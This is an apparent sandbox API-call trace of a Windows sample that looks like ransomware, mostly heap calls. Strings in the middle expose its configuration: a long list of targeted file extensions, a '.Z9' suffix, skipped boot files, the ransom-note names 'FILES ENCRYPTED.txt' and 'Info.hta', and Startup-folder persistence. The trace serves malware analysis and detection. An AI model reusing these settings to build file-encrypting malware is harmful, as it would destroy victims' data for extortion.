	[0158.814] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x768590
	[0158.814] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x7686b0
	[0158.814] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x7686c8
	[0158.814] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x8) returned 0x753bb8
	[0158.814] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x7686e0
	[0158.814] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x768920
	[0158.814] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x768938
	[0158.814] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x7687d0
	[0158.814] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x7688c0
	[0158.814] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x7688a8
	[0158.815] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x7688d8
	[0158.815] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x7688f0
	[0158.815] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x7687e8
	[0158.815] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xe) returned 0x768890
	[0158.815] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x768830
	[0158.815] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xe) returned 0x768908
	[0158.815] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x768950
	[0158.815] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x768848
	[0158.815] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x768818
	[0158.815] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x768860
	[0158.815] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x768968
	[0158.815] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xc) returned 0x768878
	[0158.815] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x768980
	[0158.815] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x768800
	[0158.815] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x768350
	[0158.815] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x768470
	[0158.815] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x768458
	[0158.815] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x768488
	[0158.815] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x768368
	[0158.815] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x7681d0
	[0158.815] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x768308
	[0158.815] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x7684a0
	[0158.815] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x768320
	[0158.815] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x768200
	[0158.815] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x7682c0
	[0158.815] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x7684b8
	[0158.815] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x7681e8
	[0158.815] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x768218
	[0158.815] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x768248
	[0158.815] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x10) returned 0x7682f0
	[0158.815] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x12) returned 0x724c20
	[0158.815] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x768338
	[0158.815] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x768398
	[0158.815] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x768410
	[0158.816] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x768230
	[0158.816] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x7683c8
	[0158.816] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x7683b0
	[0158.816] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x768380
	[0158.816] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x768440
	[0158.816] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x7683f8
	[0158.816] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x7682a8
	[0158.816] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x768260
	[0158.816] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x768278
	[0158.816] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x7682d8
	[0158.816] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x768290
	[0158.816] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x7683e0
	[0158.816] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x768428
	[0158.816] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x769278
	[0158.816] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x769200
	[0158.816] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x7690e0
	[0158.816] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x769308
	[0158.816] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xc) returned 0x7691e8
	[0158.816] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xc) returned 0x769320
	[0158.816] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xc) returned 0x769350
	[0158.816] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xe) returned 0x769158
	[0158.816] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xc) returned 0x7692d8
	[0158.816] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x8) returned 0x753c58
	[0158.816] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x769290
	[0158.816] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x8) returned 0x753c98
	[0158.816] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x7691b8
	[0158.816] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x7691d0
	[0158.816] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x769170
	[0158.816] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xc) returned 0x7692a8
	[0158.816] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xc) returned 0x769218
	[0158.816] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x769230
	[0158.816] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xc) returned 0x769338
	[0158.816] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x7693c8
	[0158.817] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x769368
	[0158.817] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xc) returned 0x769248
	[0158.817] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x769128
	[0158.817] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xc) returned 0x769380
	[0158.817] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xc) returned 0x7692c0
	[0158.817] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x769188
	[0158.817] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x8) returned 0x753bc8
	[0158.817] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x7692f0
	[0158.817] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x769260
	[0158.817] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x7689a8, Size=0x800) returned 0x7695b8
	[0158.817] lstrlenW (lpString=".1cd;.3ds;.3fr;.3g2;.3gp;.7z;.accda;.accdb;.accdc;.accde;.accdt;.accdw;.adb;.adp;.ai;.ai3;.ai4;.ai5;.ai6;.ai7;.ai8;.anim;.arw;.as;.asa;.asc;.ascx;.asm;.asmx;.asp;.aspx;.asr;.asx;.avi;.avs;.backup;.bak;.bay;.bd;.bin;.bmp;.bz2;.c;.cdr;.cer;.cf;.cfc;.cfm;.cfml;.cfu;.chm;.cin;.class;.clx;.config;.cpp;.cr2;.crt;.crw;.cs;.css;.csv;.cub;.dae;.dat;.db;.dbf;.dbx;.dc3;.dcm;.dcr;.der;.dib;.dic;.dif;.divx;.djvu;.dng;.doc;.docm;.docx;.dot;.dotm;.dotx;.dpx;.dqy;.dsn;.dt;.dtd;.dwg;.dwt;.dx;.dxf;.edml;.efd;.elf;.emf;.emz;.epf;.eps;.epsf;.epsp;.erf;.exr;.f4v;.fido;.flm;.flv;.frm;.fxg;.geo;.gif;.grs;.gz;.h;.hdr;.hpp;.hta;.htc;.htm;.html;.icb;.ics;.iff;.inc;.indd;.ini;.iqy;.j2c;.j2k;.java;.jp2;.jpc;.jpe;.jpeg;.jpf;.jpg;.jpx;.js;.jsf;.json;.jsp;.kdc;.kmz;.kwm;.lasso;.lbi;.lgf;.lgp;.log;.m1v;.m4a;.m4v;.max;.md;.mda;.mdb;.mde;.mdf;.mdw;.mef;.mft;.mfw;.mht;.mhtml;.mka;.mkidx;.mkv;.mos;.mov;.mp3;.mp4;.mpeg;.mpg;.mpv;.mrw;.msg;.mxl;.myd;.myi;.nef;.nrw;.obj;.odb;.odc;.odm;.odp;.ods;.oft;.one;.onepkg;.onetoc2;.opt;.oqy;.orf;.p12;.p7b;.p7c;.pam;.pbm;.pct;.pcx;.pdd;.pdf;.pdp;.pef;.pem;.pff;.pfm;.pfx;.pgm;.php;.php3;.php4;.php5;.phtml;.pict;.pl;.pls;.pm;.png;.pnm;.pot;.potm;.potx;.ppa;.ppam;.ppm;.pps;.ppsm;.ppt;.pptm;.pptx;.prn;.ps;.psb;.psd;.pst;.ptx;.pub;.pwm;.pxr;.py;.qt;.r3d;.raf;.rar;.raw;.rdf;.rgbe;.rle;.rqy;.rss;.rtf;.rw2;.rwl;.safe;.sct;.sdpx;.shtm;.shtml;.slk;.sln;.sql;.sr2;.srf;.srw;.ssi;.st;.stm;.svg;.svgz;.swf;.tab;.tar;.tbb;.tbi;.tbk;.tdi;.tga;.thmx;.tif;.tiff;.tld;.torrent;.tpl;.txt;.u3d;.udl;.uxdc;.vb;.vbs;.vcs;.vda;.vdr;.vdw;.vdx;.vrp;.vsd;.vss;.vst;.vsw;.vsx;.vtm;.vtml;.vtx;.wb2;.wav;.wbm;.wbmp;.wim;.wmf;.wml;.wmv;.wpd;.wps;.x3f;.xl;.xla;.xlam;.xlk;.xlm;.xls;.xlsb;.xlsm;.xlsx;.xlt;.xltm;.xltx;.xlw;.xml;.xps;.xsd;.xsf;.xsl;.xslt;.xsn;.xtp;.xtp2;.xyze;.xz;.zip;") returned 1776
	[0158.817] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x766788 | out: hHeap=0x710000) returned 1
	[0158.817] lstrlenW (lpString="") returned 0
	[0158.817] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x76a4e0 | out: hHeap=0x710000) returned 1
	[0158.817] lstrlenW (lpString=".Z9") returned 3
	[0158.817] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x753d68, Size=0x8) returned 0x753b08
	[0158.817] lstrlenW (lpString=".Z9") returned 3
	[0158.817] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x76a408 | out: hHeap=0x710000) returned 1
	[0158.818] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x76a570, Size=0x20) returned 0x74ef40
	[0158.818] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x74ef40, Size=0x40) returned 0x72d560
	[0158.818] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x72d560, Size=0x80) returned 0x7670b8
	[0158.818] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x753d68, Size=0x8) returned 0x753b58
	[0158.818] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x753b58, Size=0x10) returned 0x76a528
	[0158.818] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x76a528, Size=0x20) returned 0x74f1c0
	[0158.818] lstrlenW (lpString="boot.ini;bootfont.bin;ntldr;ntdetect.com;io.sys;") returned 48
	[0158.818] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x7670b8 | out: hHeap=0x710000) returned 1
	[0158.818] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x76a4e0, Size=0x20) returned 0x74f0a8
	[0158.818] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x74f0a8, Size=0x40) returned 0x72d998
	[0158.818] lstrlenW (lpString="FILES ENCRYPTED.txt") returned 19
	[0158.818] lstrlenW (lpString="FILES ENCRYPTED.txt") returned 19
	[0158.818] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x72d998 | out: hHeap=0x710000) returned 1
	[0158.818] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x76a4e0, Size=0x20) returned 0x74f008
	[0158.818] lstrlenW (lpString="Info.hta") returned 8
	[0158.818] lstrlenW (lpString="Info.hta") returned 8
	[0158.818] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x74f008 | out: hHeap=0x710000) returned 1
	[0158.818] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x787780, nSize=0x7fff | out: lpFilename="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\dttcodexgigas.31c5c9fa2e802a2e978252de78bb294d7489b500.exe" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\dttcodexgigas.31c5c9fa2e802a2e978252de78bb294d7489b500.exe")) returned 0x77
	[0158.818] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x787780 | out: hHeap=0x710000) returned 1
	[0158.818] lstrlenW (lpString="dttcodexgigas.31c5c9fa2e802a2e978252de78bb294d7489b500.exe") returned 58
	[0158.818] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x74f1c0, Size=0x40) returned 0x72dcb0
	[0158.818] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x76a570, Size=0x20) returned 0x74f0f8
	[0158.819] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x76a408, Size=0x20) returned 0x74f170
	[0158.819] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x74f170, Size=0x40) returned 0x72d7e8
	[0158.819] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x72d7e8, Size=0x80) returned 0x766c78
	[0158.819] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x766c78, Size=0x100) returned 0x7a8418
	[0158.819] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69
	[0158.819] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x7a8418 | out: hHeap=0x710000) returned 1
	[0158.819] ExpandEnvironmentStringsW (in: lpSrc="%windir%;", lpDst=0x787780, nSize=0x8000 | out: lpDst="C:\\WINDOWS;") returned 0xc
	[0158.819] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x797788 | out: hHeap=0x710000) returned 1
	[0158.820] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x787780 | out: hHeap=0x710000) returned 1
	[0158.821] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x753ac8, Size=0x8) returned 0x753b58
	[0158.821] lstrlenW (lpString="%windir%;") returned 9
	[0158.821] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x74f0f8 | out: hHeap=0x710000) returned 1
	[0158.821] lstrlenW (lpString="C:\\WINDOWS;") returned 11
	[0158.821] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x777778 | out: hHeap=0x710000) returned 1
	[0158.822] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x76a468, Size=0x20) returned 0x74f260
	[0158.822] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x74f260, Size=0x40) returned 0x72dc68
	[0158.822] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x72dc68, Size=0x80) returned 0x766c78
	[0158.822] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x766c78, Size=0x100) returned 0x7a7ce0
	[0158.822] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x753b68, Size=0x8) returned 0x7539d8
	[0158.822] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x7539d8, Size=0x10) returned 0x76a468
	[0158.822] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x76a468, Size=0x20) returned 0x74f080
	[0158.822] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x753ac8, Size=0x8) returned 0x753a08
	[0158.822] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x753ae8, Size=0x8) returned 0x753a48
	[0158.822] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x753b78, Size=0x8) returned 0x7539b8
	[0158.822] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x7539b8, Size=0x10) returned 0x769f28
	[0158.822] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x769f28, Size=0x20) returned 0x74ee00
	[0158.822] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x753a08, Size=0x10) returned 0x769ef8
	[0158.822] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x753a48, Size=0x10) returned 0x769e50
	[0158.822] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x753a08, Size=0x8) returned 0x7539f8
	[0158.822] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x753b78, Size=0x8) returned 0x753ae8
	[0158.822] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x769ef8, Size=0x20) returned 0x74f1e8
	[0158.822] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x769e50, Size=0x20) returned 0x74f1c0
	[0158.822] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x7539b8, Size=0x8) returned 0x753b98
	[0158.822] lstrlenW (lpString="doc(.doc;.docx;.pdf;.xls;.xlsx;.ppt;)arc(.zip;.rar;.bz2;.7z;)dbf(.dbf;)1c8(.1cd;)jpg(.jpg;)") returned 91
	[0158.822] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x7a7ce0 | out: hHeap=0x710000) returned 1
	[0158.822] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x76a090, Size=0x20) returned 0x74ee28
	[0158.823] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%", lpDst=0x777778, nSize=0x7fff | out: lpDst="C:") returned 0x3
	[0158.823] lstrlenW (lpString="C:\\") returned 3
	[0158.823] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x19fca4, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x19fca4*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1
	[0158.823] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x777778 | out: hHeap=0x710000) returned 1
	[0158.824] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x753a58, Size=0x82) returned 0x777008
	[0158.824] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x753a68, Size=0x100) returned 0x7a7ce0
	[0158.824] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x777368, Size=0x104) returned 0x7283c8
	[0158.824] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x7671c8, Size=0x100) returned 0x7a8418
	[0158.824] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x777008, Size=0x104) returned 0x728530
	[0158.824] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x7a7ce0, Size=0x200) returned 0x767f98
	[0158.825] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x753b18 | out: hHeap=0x710000) returned 1
	[0158.825] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x767f98 | out: hHeap=0x710000) returned 1
	[0158.825] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x769eb0 | out: hHeap=0x710000) returned 1
	[0158.825] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x7674f8 | out: hHeap=0x710000) returned 1
	[0158.825] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x769ec8 | out: hHeap=0x710000) returned 1
	[0158.825] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x7673e8 | out: hHeap=0x710000) returned 1
	[0158.826] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x769e50 | out: hHeap=0x710000) returned 1
	[0158.826] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x728530 | out: hHeap=0x710000) returned 1
	[0158.826] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x76a090 | out: hHeap=0x710000) returned 1
	[0158.826] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x7283c8 | out: hHeap=0x710000) returned 1
	[0158.826] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x769df0 | out: hHeap=0x710000) returned 1
	[0158.826] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x7773f8 | out: hHeap=0x710000) returned 1
	[0158.826] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x769ef8 | out: hHeap=0x710000) returned 1
	[0158.826] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x769fe8, Size=0x20) returned 0x74ee50
	[0158.826] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x74ee50, Size=0x40) returned 0x72d998
	[0158.826] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x753af8 | out: hHeap=0x710000) returned 1
	[0158.826] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x769f40 | out: hHeap=0x710000) returned 1
	[0158.826] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x776d38 | out: hHeap=0x710000) returned 1
	[0158.826] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x769fd0 | out: hHeap=0x710000) returned 1
	[0158.826] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x7a8418 | out: hHeap=0x710000) returned 1
	[0158.826] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x76a0c0 | out: hHeap=0x710000) returned 1
	[0158.826] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x753b28 | out: hHeap=0x710000) returned 1
	[0158.826] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x76a060 | out: hHeap=0x710000) returned 1
	[0158.826] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x725fe8 | out: hHeap=0x710000) returned 1
	[0158.826] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x724d20 | out: hHeap=0x710000) returned 1
	[0158.826] lstrlenW (lpString="%systemdrive%") returned 13
	[0158.826] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x74ee28 | out: hHeap=0x710000) returned 1
	[0158.826] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x766c78 | out: hHeap=0x710000) returned 1
	[0158.826] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x753ba8 | out: hHeap=0x710000) returned 1
	[0158.826] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4091f0, lpParameter=0x756768, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x260
	[0158.827] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x10014) returned 0x777778
	[0158.828] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x10) returned 0x769ee0
	[0158.828] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x769ee0, Size=0x20) returned 0x74ee50
	[0158.828] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x74ee50, Size=0x40) returned 0x72d9e0
	[0158.828] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x72d9e0, Size=0x80) returned 0x766d00
	[0158.828] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x766d00, Size=0x100) returned 0x7a7ce0
	[0158.828] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x7a7ce0, Size=0x200) returned 0x767f98
	[0158.828] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x767f98, Size=0x400) returned 0x7689a8
	[0158.828] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x7689a8, Size=0x800) returned 0x7aa7a0
	[0158.828] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x7aa7a0, Size=0x1000) returned 0x7aa7a0
	[0158.828] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x10000) returned 0x787798
	[0158.828] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x10) returned 0x76a018
	[0158.828] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xc) returned 0x769df0
	[0158.828] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x4) returned 0x753b28
	[0158.828] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xc) returned 0x769ee0
	[0158.828] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x4) returned 0x7539e8
	[0158.828] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x76a090
	[0158.828] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x753b28, Size=0x8) returned 0x753af8
	[0158.828] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x769e98
	[0158.828] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x753af8, Size=0x10) returned 0x769e08
	[0158.828] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x769fd0
	[0158.828] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x769f10
	[0158.828] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x769e08, Size=0x20) returned 0x74ef18
	[0158.828] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x769f40
	[0158.828] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x8) returned 0x7539c8
	[0158.828] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xe) returned 0x769fe8
	[0158.828] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xe) returned 0x769e50
	[0158.828] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x74ef18, Size=0x40) returned 0x72d710
	[0158.828] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xe) returned 0x76a0c0
	[0158.828] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xe) returned 0x76a000
	[0158.829] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xe) returned 0x76a048
	[0158.829] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xe) returned 0x76a060
